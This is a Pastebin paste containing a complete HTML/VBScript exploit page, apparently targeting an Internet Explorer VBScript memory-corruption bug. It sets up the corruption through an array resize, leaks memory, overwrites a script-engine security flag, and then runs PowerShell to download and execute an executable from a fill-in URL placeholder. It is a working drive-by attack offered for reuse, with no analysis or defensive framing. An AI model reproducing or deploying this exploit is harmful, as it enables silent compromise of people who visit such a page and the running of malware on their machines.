Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <meta http-equiv="X-UA-Compatible" content="IE=10">
- </head>
- <body>
- <script type="text/vbscript">
- Dim aw
- Dim plunge(32)
- Dim y(32)
- prefix = "%u4141%u4141"
- d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
- b = String(64000, "D")
- c = d & b
- x = UnEscape(c)
- Class ArrayWrapper
- Dim A()
- Private Sub Class_Initialize
- ReDim Preserve A(1, 2000)
- End Sub
- Public Sub Resize()
- ReDim Preserve A(1, 1)
- End Sub
- End Class
- Class Dummy
- End Class
- Function getAddr (arg1, s)
- aw = Null
- Set aw = New ArrayWrapper
- For i = 0 To 32
- Set plunge(i) = s
- Next
- Set aw.A(arg1, 2) = s
- Dim addr
- Dim i
- For i = 0 To 31
- If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
- addr = strToInt(Mid(y(i), 3 + 4, 2))
- End If
- y(i) = Null
- Next
- If addr = Null Then
- document.location.href = document.location.href
- Return
- End If
- getAddr = addr
- End Function
- Function leakMem (arg1, addr)
- d = prefix & "%u0008%u4141%u4141%u4141"
- c = d & intToStr(addr) & b
- x = UnEscape(c)
- aw = Null
- Set aw = New ArrayWrapper
- Dim o
- o = aw.A(arg1, 2)
- leakMem = o
- End Function
- Sub overwrite (arg1, addr)
- d = prefix & "%u400C%u0000%u0000%u0000"
- c = d & intToStr(addr) & b
- x = UnEscape(c)
- aw = Null
- Set aw = New ArrayWrapper
- aw.A(arg1, 2) = CSng(0)
- End Sub
- Sub overwrite2 (arg1, addr)
- Dim emptyval
- d = prefix & "%u400C%u0000%u0000%u0000"
- c = d & intToStr(addr) & b
- x = UnEscape(c)
- aw = Null
- Set aw = New ArrayWrapper
- aw.A(arg1, 2) = emptyval
- End Sub
- Function exploit (arg1)
- Dim addr
- Dim csession
- Dim olescript
- Dim mem
- Set dm = New Dummy
- addr = getAddr(arg1, dm)
- mem = leakMem(arg1, addr + 8)
- csession = strToInt(Mid(mem, 3, 2))
- mem = leakMem(arg1, csession + 4)
- olescript = strToInt(Mid(mem, 1, 2))
- overwrite arg1, olescript + &H174
- fire()
- overwrite2 arg1, olescript + &H174
- End Function
- function fire()
- On Error Resume Next
- Set w=CreateObject("WScript.Shell")
- Set Object = CreateObject("Shell.Application")
- Object.ShellExecute "PowerShell","(New-Object System.Net.WebClient).DownloadFile('yourfileurlherebby','yourfilename.exe');Start-Process 'yourfilename.exe'"
- end function
- Function triggerBug
- aw.Resize()
- Dim i
- For i = 0 To 32
- y(i) = Mid(x, 1, 24000)
- Next
- End Function
- </script>
- <script type="text/javascript">
- function strToInt(s)
- {
- return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
- }
- function intToStr(x)
- {
- return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
- }
- var o;
- o = {"valueOf": function () {
- triggerBug();
- return 1;
- }};
- setTimeout(function() {exploit(o);}, 50);
- </script>
- </body>
- </html>
- #JavascriptShowAlert ~~~HF~~~
Add Comment
Please, Sign In to add comment